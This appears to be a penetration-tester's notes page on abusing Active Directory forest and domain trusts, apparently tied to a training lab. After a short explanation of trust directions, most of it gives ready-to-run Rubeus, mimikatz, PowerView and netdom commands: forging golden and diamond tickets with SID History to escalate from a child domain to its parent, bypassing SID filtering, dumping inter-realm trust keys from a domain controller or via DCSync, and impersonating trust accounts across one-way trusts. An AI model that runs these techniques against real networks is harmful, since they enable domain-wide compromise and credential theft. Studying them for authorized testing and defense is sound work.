Forest & Domain Trusts

At a basic level, a trust relationship enables users in one domain to authenticate and access resources in another domain. This works by allowing authentication traffic to flow between them using referrals. When a user requests access to a resource outside of their current domain, their KDC will return a referral ticket pointing to the KDC of the target domain. The user's TGT is encrypted using an inter-realm trust key (rather than the local krbtgt), which is often called an inter-realm TGT. The foreign domain decrypts this ticket, recovers the user's TGT and decides whether they should be granted access to the resource or not.

Trusts can be one-way or two-way; and transitive or non-transitive.

A one-way trust allows principals in the trusted domain to access resources in the trusting domain, but not vice versa. A two-way trust is actually just two one-way trusts that go in the opposite directions, and allows users in each domain to access resources in the other. Trust directions are confusing as the direction of the trust is the opposite to the direction of access.

If Domain A trusts Domain B, Domain A is the trusting domain and Domain B is the trusted domain. But this allows users in Domain B to access Domain A, not A to B. To further complicate things, one-way trusts can be labelled as Inbound or Outbound depending on your perspective. In Domain A, this would be an Outbound trust; and in Domain B, this would be an Inbound trust.

Parent/Child (two-way)

When a child domain is added to a forest, it automatically creates a transitive, two-way trust with its parent.

First we need to see the domain trusts (PowerView/Forest & Domain Trusts)

If we have Domain Admin privileges in the child, we can also gain Domain Admin privileges in the parent using a TGT with a special attribute called SID History.

This can be achieved using either a Golden or Diamond Ticket but adding information about the parent domain.

If we are abusing a bidirectional trust beteween forests (and not whitin a single forest) we must take into account SID History and SID Filtering:

  • To enable SID History: netdom trust {current domain} /d:{target domain} /enablesidhistory:yes

  • If we ecounter SID Filtering, locate a non-default group, those will always have a RID equal to or higher than 1000 and bypass that filter: Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com

- Golden Ticket

The process is the same as creating Golden Tickets previously, the only additional information required is the SID of a target group in the parent domain (PowerView/Forest & Domain Trusts).

Once we have that information, we can create the golden ticket with Rubeus:

C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:{krbtg aes256 hash} /user:Administrator /domain:{actual domain} /sid:{actual domain SID} /sids:{SID of the parent domain (domain admins group)} /nowrap

Then we can import it into a logon session (PtT) and use it to access the domain controller in the parent.

To do the same with mimikatz (example of a complete process abusing the bidirectional trust between different forests):

lsadump::dcsync /domain:{current domain} /user:{domain}\krbtg or lsadump::lsa /inject /name:krbtgt

Get-DomainSID -Domain {current domain}

Get-DomainSID -Domain {target domain}

netdom trust {current domain} /d:{target domain} /enablesidhistory:yes

Get-DomainGroupMember -Identity "Administrators" -Domain {target domain}

kerberos::golden /user:fakeuser /domain:{current domain} /sid:{current domain SID} /krbtgt:{krbtgt ntlm hash} /sids:{SID of the target domain (domain admins group)} /ptt

- Diamond Ticket

The Rubeus diamond command also has a /sids parameter, with which we can supply the extra SIDs we want in our ticket.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:{SID of the parent domain} /krbkey:{krbtgt AES256 hash} /nowrap

One-Way Inbound

Because the trust is inbound from our perspective, it means that principals in our domain can be granted access to resources in the foreign domain. We can enumerate the foreign domain across the trust.

We need to identify any groups that contain users outside of its domain and return its members. We can Identify it with PowerView.

If we have identified it successfully, the MemberName field will contain a SID that can be resolved in our current domain:

powershell ConvertFrom-SID {Identified SID}

To hop a domain trust using Kerberos, we first need an inter-realm key. Obtain a TGT for the target user, for example, a overpass the hash attack against a domain admin.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{target} /domain:{current domain} /aes256:{aes256 hash} /nowrap

Next, use that TGT to request a referral ticket from the current domain to the target domain.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:krbtgt/{target domain} /domain:{current domain} /dc:{domain controller of the current domain} /ticket:{ticket of the domain controller of the current domain we obtained before} /nowrap

Finally, use this inter-realm ticket to request TGS's in the target domain. For example, to request a ticket for CIFS:

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgs /service:cifs/{domain controller of the target domain} /domain:{target domain} /dc:{domain controller of the target domain} /ticket:{referral ticket we obtained before} /nowrap

Now we can PtT, list the files in the other domain and jump using PsExec or other tools. Example:

ls \\dc.dev-studio.com\c$

In adittion, if we identify an user of our domain with PowerView, like for the previous task, and that user has access to services over the other domain, and we are domain admins, we could just change it's password: net user /domain USERNAME NEWPASS and then use PSSession with the secure creds to move laterally.

One-Way Outbound

Both domains in a trust relationship store a shared password (which is automatically changed every 30 days) in a Trusted Domain Object (TDO). These objects are stored in the system container and can be read via LDAP (ADSearch).

There are two options for obtaining the key material.

  • Dump from the DC

Here we will move laterally to the DC of our current domain and dump from memory the shared password (This performs memory patching, which is very risky, particularly on a domain controller.):

mimikatz lsadump::trust /patch

  • DCSync with the TDO's GUID

Example:

powershell Get-DomainObject -Identity "CN=msp.org,CN=System,DC=cyberbotic,DC=io" | select objectGuid

mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}

[Out] and [Out-1] are the "new" and "old" passwords respectively

Trusted Accounts:

It could be also a "trust account" which is created in the "trusted" domain, with the name of the "trusting" domain (We can locate the different accounts with ADSearch or other similar tools)

This is the account we must impersonate to request Kerberos tickets across the trust.

execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{trust account for the target domain} /domain:{target domain} /rc4:{rc4 hash extracted before} /nowrap

This TGT can now be used to interact with the domain (PtT).

Last updated